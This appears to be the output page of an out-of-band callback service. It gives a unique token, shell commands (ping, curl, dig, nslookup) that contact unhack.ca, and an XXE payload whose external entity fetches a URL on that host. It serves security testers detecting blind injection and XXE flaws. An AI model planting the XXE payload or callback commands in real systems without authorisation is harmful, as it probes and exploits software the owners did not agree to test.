$ ping -c1 -p 00b192d98b6204233ea59ea7bc5c7500 unhack.ca
 
$ curl http://unhack.ca/p/b192d98b6204233ea59ea7bc5c75
 
$ dig b192d98b6204233ea59ea7bc5c75 @unhack.ca
 
$ dig b192d98b6204233ea59ea7bc5c75.ns.unhack.ca
 
C:\> nslookup b192d98b6204233ea59ea7bc5c75 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b192d98b6204233ea59ea7bc5c75">]>
    <foo>&xxe;</foo>
Waiting for ping...